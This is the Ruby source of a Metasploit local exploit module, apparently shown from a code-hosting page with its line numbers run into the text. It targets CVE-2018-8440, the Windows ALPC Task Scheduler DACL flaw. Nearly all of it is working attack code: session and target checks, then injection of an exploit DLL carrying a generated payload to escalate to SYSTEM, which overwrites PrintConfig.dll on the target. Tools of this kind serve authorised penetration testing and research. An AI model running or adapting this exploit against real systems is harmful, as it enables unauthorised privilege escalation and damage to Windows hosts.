Path: blob/master/modules/exploits/windows/local/alpc_taskscheduler.rb
19758 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Local6Rank = NormalRanking78include Msf::Post::File9include Msf::Exploit::EXE10include Msf::Post::Windows::Priv11include Msf::Post::Windows::Process12include Msf::Post::Windows::ReflectiveDLLInjection1314def initialize(info = {})15super(16update_info(17info,18'Name' => 'Microsoft Windows ALPC Task Scheduler Local Privilege Elevation',19'Description' => %q{20On vulnerable versions of Windows the alpc endpoint method SchRpcSetSecurity implemented21by the task scheduler service can be used to write arbitrary DACLs to `.job` files located22in `c:\windows\tasks` because the scheduler does not use impersonation when checking this23location. Since users can create files in the `c:\windows\tasks` folder, a hardlink can be24created to a file the user has read access to. After creating a hardlink, the vulnerability25can be triggered to set the DACL on the linked file.2627WARNING:28The PrintConfig.dll (%windir%\system32\driverstor\filerepository\prnms003*) on the target host29will be overwritten when the exploit runs.3031This module has been tested against Windows 10 Pro x64.32},33'License' => MSF_LICENSE,34'Author' => [35'SandboxEscaper', # Original discovery and PoC36'bwatters-r7', # msf module37'asoto-r7', # msf module38'Jacob Robles' # msf module39],40'Platform' => 'win',41'SessionTypes' => ['meterpreter'],42'Targets' => [43['Windows 10 x64', { 'Arch' => ARCH_X64 }]44],45'References' => [46['CVE', '2018-8440'],47['URL', 'https://github.com/SandboxEscaper/randomrepo/'],48],49'Notes' => {50# Exploit overwrites PrintConfig.dll, which makes it unusable.51'Stability' => [ OS_RESOURCE_LOSS ],52'Reliability' => [ REPEATABLE_SESSION ],53'SideEffects' => UNKNOWN_SIDE_EFFECTS54},55'DisclosureDate' => '2018-08-27',56'DefaultTarget' => 057)58)59end6061def validate_active_host62sysinfo['Computer']63true64rescue Rex::Post::Meterpreter::RequestError, Rex::TimeoutError => e65elog(e)66false67end6869def validate_target70if is_system?71fail_with(Failure::None, 'Session is already elevated')72end7374if sysinfo['Architecture'] == ARCH_X8675fail_with(Failure::NoTarget, 'Exploit code is 64-bit only')76end7778version = get_version_info79if version.xp_or_2003? && version.workstation?80fail_with(Failure::Unknown, 'The exploit binary does not support Windows XP')81end82end8384def exploit85unless session.type == 'meterpreter'86fail_with(Failure::None, 'Only meterpreter sessions are supported')87end8889print_status('Checking target...')90unless validate_active_host91raise Msf::Exploit::Failed, 'Could not connect to session'92end9394validate_target9596print_status('Target looks good... attempting the LPE exploit')97execute_dll(98::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2018-8440', 'ALPC-TaskSched-LPE.dll'),99generate_payload_dll100)101print_good('Exploit finished, wait for (hopefully privileged) payload execution to complete.')102rescue Rex::Post::Meterpreter::RequestError => e103elog(e)104print_error(e.message)105end106end107108109